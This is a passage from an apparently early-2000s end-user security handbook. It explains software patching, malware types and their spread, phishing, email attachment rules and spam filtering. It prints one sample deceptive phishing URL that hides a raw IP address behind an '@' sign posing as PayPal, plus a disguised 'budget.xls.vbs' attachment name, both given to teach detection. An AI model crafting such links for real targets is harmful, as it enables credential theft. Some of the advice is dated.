Most systems allow users to be given a restricted set of privileges; this set may not include all the privileges granted to the person who administers the computer. For computers where the user is also the administrator (as is the case for many personal computers), the user often does all of his/her work using the full set of privileges (often called root or administrator privileges). It is good practice to use a separate username when non-administrative work is being done. This reduced the chances that the user will damage the system by accident. It also reduces the chance that if the system is penetrated, the attacker will have full administrator privileges.

CHAPTER 4.
KEEPING YOUR OPERATING SYSTEM AND APPLICATION SOFTWARE SECURE

At a Glance

This chapter investigates techniques you can use to reduce the chances that your operating system and applications software are vulnerable to security breaches.

Introduction

Principle 1: Computers run programs.
Principle 2: Programs have bugs.

Principle 1 is obvious. Given that people write programs and people are not perfect, Principle 2 is expected. It is not clear, however, why there are so many security-related bugs. Problems such as *buffer overflows* (see definitions in Addendum 3) are easy to avoid; nevertheless, they seem to be involved in almost half of all known security bugs.

Commercial Software

How does it normally work?

Several years ago, when you bought PC-type software, that was it; no updates were available until you bought the next version. Now most software is updated regularly, particularly for security problems. For some software such as operating systems, "regularly" means almost daily.[25] For most products, there is no charge for updates.

Many companies that offer commercial software also *provide* some updates to address bugs in general, and security vulnerabilities in particular. In the case of larger vendors, you can go to the corporate web site, click on a "support" or "downloads" tab and find any available fixes for their products.

Typically, when you go to a software supplier's web site, you identify what software packages and versions you have and they will list what updates are available. In some cases, it is completely clear what updates are relevant for your computer; in other cases the choices are less obvious. Once you have decided what updates you need, you download them onto your computer. The next step is to apply the update. Depending on the software, this may mean running the program that you have just downloaded or following the steps outlined in the accompanying documentation or instructions. In some cases, once the update is downloaded, it will install itself automatically.

In recent years, there have been three new trends:

1. For complex programs such as Microsoft Windows, Microsoft provides software via their web site ("Windows Update"). An applet inspects your computer and gives you a list of updates that apply to your system. You can then download and install these updates as described above.

2. The update that you find and install as described is not really the actual update, but a program that will, while it is running, download and install the actual update. So, for instance, you might find that there is a major update to one of your programs. When you look at it you will see that it is only 500,000 bytes – really small for a software update. In fact, this is just the program that will download the *real* upgrade and install it – the real upgrade consisting of perhaps 30,000,000 bytes.

3. Some programs have built-in functions that will dynamically check to see if updates are available and may even install them (with your permission).

These capabilities were designed to make your life easier. In all cases, the task of selecting exactly what updates you need (a complex task for operating systems and certain applications) is completed for you by the programs.

[25] In October 2003, following a severe security problem related to a problem in Microsoft Windows, Microsoft decided that it was unreasonable and unrealistic to have users apply patches weekly, and that in the future, they would only issue monthly updates unless a problem was severe and urgent.

The developing country conundrum

As you can see, many of these processes are designed to run online and typically involve downloading many megabytes of updates. That works well if you have a high-speed connection to the Internet (greater than 1 megabyte per second), or a dialup connection where you can remain connected for several hours. In developing countries, however, this is often not the case.
There are two alternatives to address this problem:

1. Don't update your system and applications.
2. Have someone else download the update and provide detailed instructions for how to install it. The update can be distributed on CD or via a local area network, if there is one.

The first alternative is not acceptable given the rise in security risks. So, the only reasonable alternative is to work cooperatively to download and share the updates.

There are several vehicles for doing this:

- If an organization owns multiple machines, a local technical support person should take responsibility for downloading updates and installing them or making them available to others.
- Computer clubs or other groups could download updates and make them available to their members.
- For individual users, Internet Service Providers (ISPs) could offer a service whereby they get the updates for popular products and common operating systems and distribute them locally. This could also reduce the ISP's requirement for international bandwidth, reducing their costs.
- Computer stores that sell the machines can make the updates available to their customers.
- During a flurry of computer worm vulnerabilities in 2003, Microsoft began distributing some updates on CDs locally in various countries. Perhaps this practice will be continued.

The last three types of software update distribution are not prevalent, but given the increased need to keep software up to date, they may become a sensible commercial strategy for ISPs and vendors in the developing world. Although this will be a welcome support strategy for users, they will need to ensure that the source of these local updates is reliable and trustworthy. If they are not reliable and trustworthy, they could become a way to distribute Trojans and viruses.

Should you install updates as soon as they are available?

This has been a debate among computer professionals for decades. The two arguments are:

Pro: If you install updates immediately, you protect yourself from failures that are already known. In the case of security-related updates, you will protect yourself from penetrations and exposures that the original system allowed.

Con: Anytime programmers write code, they can make mistakes or break some other part of the program. This applies to updates as well as to the original pro grams, so there is a chance that the update will introduce new problems that are unrelated to the problems it is designed to fix.

The problem of attackers and criminals using security flaws to penetrate systems and alter or destroy data has changed the scope of the problem. Once a security flaw is announced, even if the announcement comes with a patch, attackers will immediately create viruses and other tools to exploit the problem. Those who do not implement security fixes *quickly* may be compromised.

Today's conventional wisdom:

- Novice users and those who use their computers for non-critical tasks should apply all updates soon after they are available. The risk of introducing new problems through the updates is lower than the risk of having a seriously out-of-date machine.

- Sophisticated users and technical administrative staff should install security-related updates immediately, but they can defer larger overall upgrades that may have multiple functional changes in them. Delaying for a few weeks or months may allow more adventurous users to install the upgrades, discover the problems, and report them, giving the manufacturer an opportunity to fix the flaws before you install the overall upgrade on your system.

If your computers are used for business applications, it is always a good policy to test *all* changes and new software on an identical, but non-critical computer before applying them to your production machines. You can never tell when a change will stop an existing application from working properly.

Non-traditional and non-commercial software

The previous discussion focused mainly on commercial offerings including operating systems and major applications that are common to many computing environments. How does the situation change with other types of software?

Shareware and small-supplier commercial software

There is a vast amount of software that is offered for free, or for a modest cost. The level of support offered by suppliers varies enormously. In general, upgrades are offered periodically, either for free or for a small fee. These programs do not tend to have security exposures, so their upgrades are aimed at fixing non-security flaws or adding functionality; as such they are beyond the focus of this book. However, some freeware applications, such as firewalls and virus checkers do fall in our domain and will be discussed later in this book.

If you use programs that have clear security implications, make sure you understand what the supplier's upgrade policy is. You do not want to be in a position where you are using security-sensitive software and the upgrade support suddenly disappears or you cannot afford to buy it. Deploying software such as a virus checker that is not *regularly* (daily or weekly) updated may be more dangerous than not using one at all, because if you use it, you may be working under a false sense of security.

Open Source software

Open Source software that is in active development tends to be well supported. In some cases, there may be fee-based services available for upgrades and support, even though the original software was free. Red Hat's version of Linux, which is available both for free and through commercial vendors, is a good example. Organizations that desire a higher level of technical support may find it worthwhile to purchase the package or at least the services to support it.[26] It is important to note that, as with some free software, if you decide to use the software at no charge and without paid support, the period for which security fixes are available may be quite short. Therefore, if you select non-support software for your operating system or other critical sub-systems, you may need to upgrade to new versions very often (perhaps as every six months).

The update processes for Open Source products tend to be more difficult that those for Windows, but are in line with other Unix products and the installation procedures for the original Open Source products. There are Open Source Windows-based products that distribute binaries and use simple installers as well.

As with Windows-type systems, updates and patches for large Open Source systems are sizable themselves. It is important to identify local sources of these updates to reduce Internet download times for individual users.

One final issue related to Open Source software is worth some discussion. There is an ongoing debate between advocates of Open Source and advocates of traditional proprietary software regarding which product is more secure.

Proprietary software advocates say:

- since the source is available for Open Source products, attackers can easily analyze the code and locate all of the flaws which they can exploit;
- since a large number of people in different locations and without organizational ties may be working on a given Open Source product, standards may be lax and the uneven integration of the various components may cause security vulnerabilities;

[26] See selected links on Linux and other Open Source projects in the Annex on Electronic Resources.

- since the people working on proprietary products are paid by the manufacturer, they follow instructions and the quality is uniform (and high);

- since no single authority is responsible for some Open Source products, security could be ignored if it does not happen to be important to any of the individual developers.

Open Source advocates say:

- since so many people are working on the source, problems tend to be recognized by the "good guys" and fixed quickly;

- the people working on proprietary products may generate uniform quality code, but it may not be secure if the manufacturer does not value security highly;

- with proprietary programs, you are at the mercy of the manufacturer to fix problems, and that may cause long delays.

In fact, each of these arguments has some validity to it. There is no way to ensure that either proprietary or Open Source software is secure or that problems will be discovered and fixed in a timely manner. In both types of software, there are examples of exemplary behavior and of careless behavior on the part of their respective designers and support organizations.

Pirated Software

Neither the authors nor the publisher of this book advocate software piracy, but it would be foolish to pretend that it does not exist. Software piracy is a problem throughout the world, but it is particularly relevant in countries where the relative cost of legitimate software compared to wages far exceeds that in developed countries and where local laws and law enforcement make punishment highly unlikely.

Aside from the potential for legal liability due to violating the product owner's property rights, there are two issues related to security and pirated software that must be addressed. Neither is very common, but both are possible.

1) It is possible that pirated software may not be updateable, or that an update may stop it from working.
2) Some pirated software includes other "goodies" that you may not have expected. These can include backdoors, keyboard loggers or other malicious software.

CHAPTER 5.
MALICIOUS SOFTWARE

At a Glance

The concept of malicious software is introduced. The various types of malicious software (such as viruses, worms and Trojans) are discussed and the mechanisms used to spread them are investigated.

Introduction

Malware

Definition: Short for **mal**icious soft**ware**. Software designed specifically to damage or disrupt a system.

The first known microcomputer virus dates back to 1981. The concept of a computer worm was introduced in a science fiction book in 1975, and the first actual implementations were in the early 1980s. Interestingly, these worms were designed to do good things instead of malicious things. Computer Trojan Horses date back to the early days of time-sharing (1960s). Despite their long history, it is only in recent years that their impact on normal users has been so severe and potentially dangerous.

To begin, we should first define what these terms mean.[27]

Virus — A virus is a program that is attached to or inserted into another program. When that program runs, the virus also runs and it inserts copies of itself into other files or disks. In this way, it replicates itself. When the program it infected runs, the whole process starts over again. The virus may or may not do other things.

Worm — A worm is similar to a virus, in that it replicates itself, but it does not need a host program. Like a virus, a worm may only replicate itself or it may take other actions as well. A worm can only work if there is some capability in a system that will allow an external source to send it a program and run that program. Some malware detection vendors consider a worm a type of virus.

Trojan — This type of software is named after the (perhaps mythical) Greek conquest of Troy, where the Greeks presented the city of Troy with a large wooden horse. When the horse was brought into the city, it was found to contain Greek soldiers who proceeded to take over the city. Since then, a "Trojan Horse" has meant something that looks benign, but contains some hidden and potentially dangerous content.

A Trojan horse program is one that can do something malicious in addition or instead of what the person thinks it is doing. The term has recently also come to mean any malicious program that is added to your system without your knowledge or authorization.

"Bonus" software — This is software that is included in some other package without your knowledge. It is common for commercial software to include other packages. For instance if you install a web browser, it may also include Adobe Acrobat© or software that plays music or videos.

These are included because they enhance the original package and usually the install process asks you if you want them, or at least informs you that they are being installed. Bonus software is different because it is not really related to the original package in function. Given a choice, you probably would not install it.

The terms Trojan, Virus and Worm are not mutually exclusive. Attackers can write software with the characteristics of more than one, such as a self-replicating Trojan. Software that has the characteristics of more than one form of malware is often called a *blended threat*. As you can

[27] See www.rbs2.com/cvirus.htm for further information on viruses and other potentially malicious programs.

see, the terms generally refer to how the malware is spread, and not what it does. This chapter describes what malware does and the specific ways in which it is propagated. The following chapters discuss ways in which your computers and networks can be secured against such software.

What do they do?

There is no limit to how malware acts once it is running on your computer, but the programs do have some common characteristics in their activities:

Send e-mail

Sending e-mail is one of the most common actions of malware programs. The e-mail may include a copy of the program itself (a virus or a worm) as an attachment. The content may be specific to the malware (such as falsely claiming it is an alert from Microsoft warning you about a security problem) or it may even be random parts of your previous e-mails that it finds lying around your computer. If there is a malicious attachment included, the text of the message may be something that will encourage the recipient to open the attachment. The Subject: and the From: line are similarly set according to the whim of the malware; they too may be set to encourage you to open the attachment (as in the famous worm that said "I LOVE YOU" in the subject line). The messages are typically sent to people it finds in your address book or to people whose e-mail addresses are in other types of files on your computer. Sometimes when messages have been sent to all possible recipients the program stops and sometimes it will start all over again! Note that if someone else's computer is infected with a virus or worm that sends e-mail and it puts *your* address in the From: line (because it found your address somewhere on the infected machine, perhaps in its address book), *you* may be accused of distributing this virus.

Gather information

Malware may gather information about your computer and its files and send this information back to its author. Since it can read any files on your computer (often including encrypted files), whatever you have is fair game. If you store information about your bank accounts or credit cards on your computer, this data may be of interest to an attacker. If you have a scanned image of your signature to allow you to print or fax letters, this may also be useful. Together these pieces of information could allow the attacker to assume your identity. Alternatively, if you operate a small business and store other people's credit card numbers on your computer, it will be a serious problem for you if these numbers are stolen.

Over-write or erase data

Some malware programs are truly malicious; upon entry to your computer, they can immediately begin to erase all the files on your hard disk or overwrite the files with garbage. Sometimes they change things in less detectable ways including:

Installing a Trojan

This aspect of malware is becoming increasingly common. One or more programs may be installed on your computer. The program may replace some common program that you or the operating system normally use (the original meaning of Trojan). Alternatively, it may insert some other program that will be invoked either at some pre-determined time or whenever your computer is started. The following section on Payload Software describes many of these programs.

Scheduling something to happen later

Any of the previous actions may happen immediately or they may be triggered at a later date. Malware writers seem to like the suspense that comes with the announcement that a certain worm will do something nasty on January 1, 2000, for instance

Payload Software

Malware often comes in the form of programs left on your computer that run when you start your machine or when you start a particular program. The type of program is only limited by the imagination and programming skill of the attacker.

Web tracking/modification software

This class of programs watches what sites you visit, can display pop-up ads in addition to those you would

normally see, and can display ads replacing those that the site you are visiting is sending. They can send information about your computer and what you are doing back to its developer. In many cases, the software will also have full control over your browser, watches what you enter, and may alter what you see. When it watches what you enter, it can report these entries to its developer. For Internet Explorer, this capability is designed into the product and called a *Browser Helper Object* (BHO) - http://msdn.microsoft.com/library/en-us/dnwebgen/ html/bho.asp. Although one can build very useful and legitimate BHOs, there are also clearly opportunities for less than ethical applications.

Backdoor Software

Normally to access a computer system, you need to give it a username and password, although this security if often by-passed for systems that are thought of as being physically secure and used only in front of their own keyboard and monitor. Backdoor software allows a *remote* user to access your computer bypassing all of your security. It may even install its own security to allow only that attacker to use it. Although the details vary from case to case, this remote user will now have full control of your system; they could even lock *you* out if they wished. In essence, your computer has been hijacked and you will not realize it. Why does this attacker want access to your system? The reasons vary, but they may include:

- No reason other than to prove to himself or his friends that he could do it;
- To be malicious – in general;
- To be malicious – he has some specific reason to target you;
- To use your computer for some other activity such as sending spam or launching a denial of service attack later;
- To steal something of value from your system.

Note that this same type of software, under names such as remote access or remote administration tools has very legitimate, practical applications as well. If you use these tools for work, make sure that you have proper security measures employed, including usernames and passwords.

Keyboard loggers

Keyboard loggers do just what the name implies. They trap all keyboard input and log it to disk. The file can be inspected later, perhaps via backdoor access, or it can be sent back to the person who installed the program via e-mail or web delivery.

It is important to note that keyboard loggers watch what you are actually typing, not what is sent over the network. So if you enter a credit card number on a web page that is secure (uses encryption when the data is transmitted), the logger *still* sees exactly what you typed in unencrypted form.

Financial Theft

Most thefts that are the result of personal computer attacks involve information that is taken from the computer. However, there are cases where payload programs actually spend your money automatically. The simplest example is if the program detects a modem on your computer and uses it to place long distance calls. Since the program cannot talk, there is no benefit to the attacker, other than the malicious satisfaction in knowing that at the end of the month, you will get an outrageous bill from the phone company.

In other cases, the attacker can benefit personally. In many countries, it is possible to arrange to have a special telephone number – when this number is called, the phone company will charge the caller a specific amount per minute and part of that money goes to the person being called. It is used for a variety of businesses, but examples are software companies that want an easy way of charging you when you call them for out-of-warranty support. In that case, the phone company collects the money from the caller and sends part of it to the company being called to pay for the support call. If an attacker had such a number, they could program *your* computer to call the number and just hold the line open for a while. Your telephone bill would reflect this charge.

How do you get them?

A number of years ago, the only way a PC or Macintosh user could be the recipient of a virus or other malware was to use an infected diskette. If you didn't trade files with people who were infected, you were safe. Unix systems were not particularly prone to viruses, but with their superior connectivity capabilities (even in those days), security holes in operating systems and some common applications occasionally allowed attackers to access systems and install backdoor software. The Internet's first *major* security incident was a worm that attacked Unix systems in 1988. Today, you can be attacked in a number of ways. All of the following apply to Windows machines. Unix and Macintosh systems are somewhat less prone to these types of attack, not necessarily because they are more secure, but rather because the vast number of Windows machines makes them more interesting targets.[28] Unix systems are next in line, with Macintosh exhibiting the fewest exploited vulnerabilities to date.

e-mail

A few years ago, rumors would spread periodically that you could be infected with a virus by receiving e-mail. System managers and helpdesk people would have to reassure their users that this was *impossible*. As long as a user did not run a program that he or she received in an attachment without verifying that it was safe, the machine and the user were OK.

It is no longer impossible to be infected via e-mail, in fact, it is highly likely. Two enhancements brought this about. The first change is that we now have e-mail programs that can run attachments automatically.

Originally, a user would have to save the attachment and then run it. Now, automatically running attachments makes things easier, particularly for the novice user who wants to see what was sent without taking additional actions. The second change is that in an effort to make e-mail prettier and more powerful, we now allow HTML programming within the body of the e-mail, however, that HTML can include instructions that cause problems. For example, the HTML can also direct a web browser to go to a specific web site that may not be appropriate for you or your children. It should be noted that the people who send these e-mails can be very innovative. Recently, there have been a number of virus-loaded e-mails that claim to be from Microsoft and say that they are providing the latest patches to protect you from viruses and worms. They contain logos and images that could easily convince someone that they are authentic and that the attachments should be run immediately. Needless to say, anyone who does run such an attachment is in for trouble.

Web sites

When the World Wide Web was launched, web pages contained text and images. Now they can contain far more, including dynamic programs that are downloaded onto your machine and executed (Javascript, Java, ActiveX). If you allow your browser to run these programs without determining that the sending site is completely trustworthy, then there is a good chance that the program may do something objectionable. *Javascript* is generally safe, but Java and ActiveX are potentially quite dangerous. Browsers can usually be set to refuse these programs or to ask the user before executing one.

Plug-ins and Add-ons

Web browsers and many other programs (including word processors and spreadsheets) allow other programs to be loaded and executed from within the main program. A common example is the Adobe Acrobat Reader" which allows you to view PDF files while browsing the web. Once these add-ins or plug-ins are installed, they can do anything that the base program can do, including (usually) read and write on disk, or use your network connection. Add-ins and plug-ins should only be installed if the source is known to be trustworthy.

[28] Typically, a virus, worm or Trojan written for Unix may work only on the variant (Red Hat, Solaris, etc.) that it was written for, because the libraries that interface applications to the operating system differ on each type of Unix. As Linux becomes more popular and standardized, this advantage will be reduced.

Security holes

Security holes are bugs in parts of the operating system or other system components that allow an attacker to access information on your system, or to gain control of the system. In recent years, most suppliers are reasonably quick to respond to security problems that are discovered in their systems, so if you apply patches to your system regularly, you may plug the holes before would-be attackers build and distribute software exploiting the known bugs.

File sharing

File sharing is available in one form or another for all operating systems. It is very convenient to share files among co-workers. If you have several machines of your own, sharing files between them is a great feature. However, if you allow file sharing over the Internet and you don't apply adequate security measures (such as robust usernames and passwords and limiting write and update privileges) then any attacker in the world can also share your files. Further, if you allow others to write to your disks, then the attacker can set up your machine to do anything they want!

Drive-by downloads

Drive-by downloads occur when you innocently go to a web site and the HTML statements on the page automatically invoke a Java or ActiveX program that downloads another program and either executes it or schedules it for later execution. The HTML code can also arrive in e-mail. If you allow Java or ActiveX programs to execute, they can download and install whatever they want, without asking your permission and without telling you what is happening.

Piggy-back on pirated software

Pirated commercial software is not new. Counterfeit CDs have been sold for years and copies on the Internet (called Warez) are common. There has long been a problem that the CDs could have a virus, but there is now an increasing chance that the software may deliberately include altered code giving access to your computer to an unauthorized person over the Internet. Since administrator privileges are needed to install most software, it is an ideal opportunity to add a few more programs that you had not requested.

Piggy-back on legitimate software

Although most software that you download is probably legitimate, it is increasingly likely that downloaded software (particularly freeware) will install other programs as well. Peer-to-peer file sharing programs have been particularly prone to this. They often include other programs, many in the Web tracking/modification category, which monitor your web activity, display advertisements, and report on your activities to their masters. Some of these programs are particularly insidious in that they try to disguise themselves and they are almost impossible to remove. One such program includes a *uninstall* utility; if you run it, it deletes the uninstaller but the original program is still alive and running!

Non-resident Malware

Not all malware runs on your computer. It is becoming increasingly common to send e-mail that somehow entices the user to visit a web site. The traditional form of this trap is when an e-mail offers you something that is of interest to you (just as with any of the common spam sales e-mails), but once you go to their site, some sort of malicious software takes over, perhaps downloading software (what is referred to as a *drive-by* download) or taking other actions.

In the newer form, the e-mail claims to be from e-Bay (the Internet auction site) or PayPal (Internet payments) or from your bank. The e-mails are crafted to *really* look like they are authentic. They point you to a web site to (typically) re-validate your credit card numbers. The URLs that they point you to *look* exactly like an authentic URL to the casual user. For instance, the real URL for PayPal is www.paypal.com. The URL which displays in the e-mail might be exactly that. However, what is shown on the screen is *not* the actual URL that will be used to access the web. The actual URL pointed to is often hidden and might be something like: http://www.paypal.com:user=32454329:transaction=43293:code=4333033.33@218.5.79.162.

If one is not very familiar with URL formats, it really looks like it is going to www.paypal.com, so it must be authentic. In fact, all of the data prior to the @ sign is ignored, and this goes to site 218.5.79.162. At that site, you would see a page that looks *exactly* like the

PayPal site, asking you to log in and re-enter your credit card number. In fact, this site is not connected to PayPal at all, but rather belongs to someone who is trying to steal your credit card information. These ploys have been very successful. Note that e-mails *similar* to this may be legitimate. A legitimate e-mail will usually include some information unique to you (and not included in your e-mail address) in the mail, such as your full name or the last 4 digits of your credit card. If they direct you to a web site, they will either tell you where to go, but not include a hyperlink, or the resultant web page will also include information that no spammer/fraud artist could know. If in *any* doubt, contact the company via telephone at their normal telephone number (not one included in the e-mail).

CHAPTER 6.
SECURING SERVICES OVER NETWORKS

At a Glance

E-mail and the Web are the primary applications on the Internet. This chapter describes them in detail, investigating how they work and how careless use can result in security breaches. Other security-sensitive network-related topics covered include wireless communications, file sharing, and instant messaging.

General Issues

You should updates security patches for your software regularly. Although security problems can hurt you in many ways, you are most vulnerable when connected to the Internet. If there is a security hole in your operating system or application, you can be sure that the attackers know about it and will design ways to use it to infiltrate your computer.

Rule 4: Keep your operating system and key application software up-to-date.

By up-to-date, we do not necessarily mean the latest version of the software. Most companies and developers will issue fixes to bugs (at least security-related bugs) for older versions as well. Note that for free software, it is common for the developer to provide fixes only for the most recent version; this means that to stay security bug-free, you must regularly upgrade to the latest version of the software.

E-mail

Evolution of e-mail

If you go back into network ancient history (10-30 years ago), e-mail was used for sending text messages. Most of the systems that deployed e-mail also had some way to transfer files. Typically though, the file transfer mechanisms were somewhat arcane and difficult to use. This did not matter much when the main users of networks were technology experts. However, as the use of e-mail spread to the greater public, the application had to become easier to understand and to use.

The problem was that traditional e-mail allowed only printable text, and most files such as word processing files or executable programs contain non-printable characters. The solution was to "encode" the non-printable information so that it was now printable. (Encoding is described in more detail in Addendum 1). This printable file was inserted into the e-mail message, preceded by a signal that what followed was an encoded file. When the e-mail message was received, this encoded file would be "decoded" back into the original form. Later, the concept of attachments was generalized to allow encoding more types of file. The new methodology was called MIME (**M**ultipurpose **I**nternet **M**ail **E**xtensions). Once attachments became common, e-mail programs were changed to open these attachments automatically, so that the recipient could see what had been sent to them readily.

At about the same time, the World Wide Web was becoming popular and it used HTML to format web pages. HTML became one of the MIME encoding techniques, allowing e-mail to be formatted (changing fonts, colors, inserting images, pointing to web pages, etc.) as needed. E-mail programs executed HTML automatically.

Impact of enhanced e-mail

These enhancements made e-mail much more useful. Users could exchange all sorts of files easily. With skillful use of fonts, color, and images, mail could be more pleasing to the eye and relatively simple formatting could be employed without a word processing program. However, these enhancements had some negative aspects as well. As mentioned previously, in the days before these enhancements were available, you could *not* get infected with a virus/worm directly through e-mail. As long as you did not run a program that you received in an attachment without verifying that it was safe, you were OK.

Now, programs that you receive could execute automatically. HTML also executes automatically, which means that it can send you to web sites that take malicious actions, including directly downloading malicious software into your computer. In addition, specific HTML commands could give the attacker control of your machine, due to bugs discovered in the programs that ran that HTML.

E-mail is NOT Authenticated

In most cases, the From: address of e-mail that is sent over the Internet is *not* authenticated. This is a capability that has been heavily exploited by spammers. When you Reply to e-mail, it normally goes back to whoever is listed in the From line. Sometimes, but not always, if you look at the *full* headers (all of those almost incomprehensible "Received from" lines), it may be possible to roughly identify where the mail came from.

How to protect yourself

Anyone who knows your e-mail address, or is able to guess it,[29] can send you an attachment. This attachment could be relevant and useful to you or it could be a virus, a worm, or a Trojan, any of which could do a great deal of damage. Most current e-mail programs will not open attachments without your explicit request (typically by clicking on the attachment), but if your program will open attachments automatically, turn the option off.

Rule 5: Configure your mail program not to open attachments automatically.

Rule 6: Before opening *any* attachment, look at the name to verify that it is not an executable program.

Virus writers are cunning. One often finds an attachment with a name like *budget.xls.vbs*. To the casual observer who does not know what *vbs* is, this looks like Microsoft Excel spreadsheet named budget. In fact it is an executable Visual Basic program named *budget.xls*. The *xls* is just part of the name and unrelated to the Excel extension. The program could do anything it wished including erase your hard disk.

Rule 7: Never open an attachment from someone you do not know unless you are *very* sure that it is a type of file that cannot contain malicious code.

Remember that programs such as Microsoft Word (word processing) and Microsoft Excel (data spreadsheets) and all of their equivalents contain macro-capabilities that can include a virus. Even PDF files can contain malicious programs, although these programs are dangerous only when viewed with the Adobe Acrobat program and not the Adobe Reader which most people use. You should check your user manual or help screens to see what capabilities may be turned off, especially if they are rarely used.

Rule 8: Do not open an attachment from someone you *do* know and trust unless you are sure that they sent it deliberately.

It is possible for a colleague's machine to have a virus that causes this machine to send infected files to all of the people in his or her address book.

Rule 9: Consider configuring your e-mail program to not process "fancy" HTML and not to send it to other computers.

This means that you will miss some images and other decorative things, but it also means that you will be in better control of your e-mail activities. Note that in some e-mail programs, you don't even have to open a message to execute the HTML code, having it in the preview screen is sufficient. Even though e-mail may contain HTML, many browsers and e-mail programs allow you to disable cookies, JavaScript, and plug-ins for pages that are received as part of e-mail messages.

Rule 10: Check with your ISP to see if they are checking e-mails for viruses and similar threats before delivering e-mail.

Due to recent increases in the virus/worm activity, more and more ISPs are doing this. Note that this does not alter any of these rules, as you cannot presume that your ISP filtering will be 100% effective, but your ISPs preventive actions will help in your security efforts. If your ISP is not aware of security issues, you may be able to work with them to deliver better service to you and their other customers. Feel free to share this Handbook with them!

---

[29] In the west, there is a children's story about a magical dwarf who promises to give a large reward if someone can guess his name. The person tries guessing many names, and eventually does guess the correct one – "Rumplestiltskin". To guess e-mail addresses, attackers repeatedly try many, many name variations in the hope that one of them will be correct. This is known as a Rumplestiltskin attack.

SPAM

Spam is the name we use for unwanted e-mail, and in particular, unsolicited commercial e-mail sent out in massive numbers with no specific reason to believe that the recipient will be interested in the product. In recent years, the amount of spam has grown dramatically. In 2003, it is estimated that over 50% of all e-mail transported over the Internet is spam! Many people currently receive over ten spam e-mails for every valid one.

It would be nice if all spam would contain something like "**SPAM**" in subject line, so that we could delete it easily. In fact, laws being passed in some jurisdictions mandate that any unsolicited commercial e-mail sent from within their territory contain just such a warning. However, this type of legislation is not practical at the present time, for reasons of volume, extraterritorial spam, and enforceability. One must have a reasonable way of recognizing and eliminating spam without reading each message or notifying a potentially overburdened complaint system.

Understanding Spam

To understand the problems associated with spam, one must look at three issues: a) how do the spammers get your address, b) how should spam be defined (in detail), and c) why do the spammers send these messages at all?

a) If you engage in any of the following activities, there is a good chance that a spammer will obtain your address:
   - Send mail or subscribe to a semi-public mailing list
   - Reply to a spam message saying that you should be removed from their mailing list
   - Post messages to a Newsgroup
   - Register for something on the web, giving your e-mail address (when you are not *absolutely* sure it is a reputable organization)
   - Use a computer that has an *Ident* daemon running (on many Unix systems, an Ident daemon will tell anyone who asks what your username is).
   - Let your web-browser know your address
   - Use IRC, instant messaging, or chat
   - Play games over the Internet
   - Use an e-mail address that is a common given name, or an initial plus a common surname
   - Put your e-mail address on a web page, or, in fact, allow your e-mail address to appear in print anywhere
   - Register a domain name or be listed as the technical contact for a web site
   - Use a "guessable" e-mail address
   - Have your e-mail address on any system that has been maliciously penetrated previously

If any of these apply to you (and you will not necessarily have control or even knowledge about previously penetrated systems), there is a good chance that your address was *harvested* and sold to spammers. If you use the Internet to any extent, you are likely to be on some spammer's list of recipients.

b) Some commercial spam is obvious and by nature of its volume and irrelevance, virtually everyone will agree that it is spam. For other mailings, the distinctions are less clear. In some cases, it depends on the recipient whether a particular e-mail is considered spam, rather than on the actual mailing. Several examples will help illustrate the point.
   - Is an e-mail considered spam if it contains information on how to change the size of certain sexual body parts? Answer: Yes. Unless you are a plastic surgeon or a urologist and the e-mail was an academic paper, not a commercial advertisement.
   - A Call-for-Papers requesting people to submit papers for an academic conference on some obscure topic is sent to *many* mailing lists. Is this spam? Answer: Perhaps. Unless by some coincidence the subject was of interest to you and you will submit a paper.
   - A company that sold you a product sends you information about a follow-on product at your request, along with a million e-mails to other customers who asked to be notified. Is this spam? Answer: No, but any spam filtering programs at your ISP may have a hard time understanding this, as it looks *like* spam.
   - An e-mail contains content that is spam by any definition. Is it spam? Answer: Yes, when it was originally sent. But if it was then forwarded to this author by a trusted colleague as an interesting example to include in this book, it is not spam and should not be filtered.

c) Why do spammers send spam? The simple answer is because it works. If you look at spam, you quickly see a pattern.
Most spam is about:

- Making or saving money
- Improving your love-life or sex life
- Improving your health

These topics have one very important thing in common. Most of us care about these issues to some extent and many of us are deeply concerned about them. So even though a very small percentage of recipients respond to spam messages related to these topics (estimated at about 1 purchase for every 100,000 e-mails sent), spammers who send out many millions of messages per day might make a lot of money.

What can you do about spam?

There are many ways that one can attempt to control and limit spam. Some governments are enacting legislation prohibiting spam mailings from within their jurisdiction. Most ISPs say that using their facilities to send spam is a violation of their usage agreement. Rules such as these can be effective, but to date, most spam-related rules have proven difficult and costly to enforce.

Some large (e.g. corporate) users of e-mail refuse to accept mail from ISPs that are known to allow spammers to operate. This can be effective, because it may force the ISP to clamp down on spamming activities. However, more often this method simply hurts the enterprises' innocent customers who can no longer send e-mail to some locations. There are a number of programs that try to recognize spam and either delete it or warn the recipient that the mail *looks* like spam. These programs can be run at an ISP's site or in your own mail client. The programs will look at the content of e-mail and/or its point of origin. These criteria are difficult to evaluate, and such programs often will generate false negatives or false positives.

False negatives — A false negative is produced when the scanning program decides that an e-mail is not spam, but it really is. This means that it lets some spam through and thus is not 100% effective.

False positives — A false positive means that the scanning program decides that some innocent mail is spam. This can be very dangerous, particularly if the mail is discarded instead of being delivered. False positives may mean that good mail is lost and unrecoverable through electronic means.

The target in spam scanning programs is to minimize false negatives and to have no false positives. Unfortunately, reducing false negatives usually increases false positives. People who, for whatever reason, need to receive mail that looks like spam can be hurt, in particular. A recent case involved an academic electronic newsletter that discussed spam. Since the newsletter included examples of spam, it was viewed as spam by some spam scanners, and was deleted by several ISPs.

In addition to spam scanners, there are also spam-filtering techniques which involve the sender in the process. One spam filtering technique is a challenge-response process. When mail is received from an unknown sender, it is intercepted before the recipient can see it. A challenge is sent to the sender requesting a confirmation that the mail was sent by an individual and not a program. The form of the confirmation is such that a human must reply; it cannot be handled automatically, at least not in a manner that is effective for the would-be spammer. If no confirmation is received after a few days, the mail is discarded. There are provisions for accepting mail from known mailing lists and other desired automatic mailings. The problem with this technique is that it requires manual intervention by the sender. If you send mail and then are unable to quickly respond to the confirmation request, your mail will not be delivered. If two people both use this type of service, it is possible that they would never get any mail from each other, because the first receiver will not see the mail unless it is confirmed and the request-for-confirmation will not be passed on because it's sender is also unknown. Some spam-filters put suspected spam into a low priority folder, rather than deleting the messages. Then you may periodically review the spam folder to make sure that it doesn't contain any false positives.

A promising new anti-spam technique is *Bayesian Filtering*. In this method, the filter's rules improve by learning what you consider spam; these rules can be changed by each recipient. These rules tend to learn who your trusted colleagues are and, at your request, will allow content that would normally be spam, but is of interest to you for some reason. Bayesian filters also employ linguistic techniques to allow mail containing certain words that rarely appear in spam, but do appear in your real e-mail, based on prior experience with your e-mail habits. Bayesian filters are being made available for many e-mail programs.

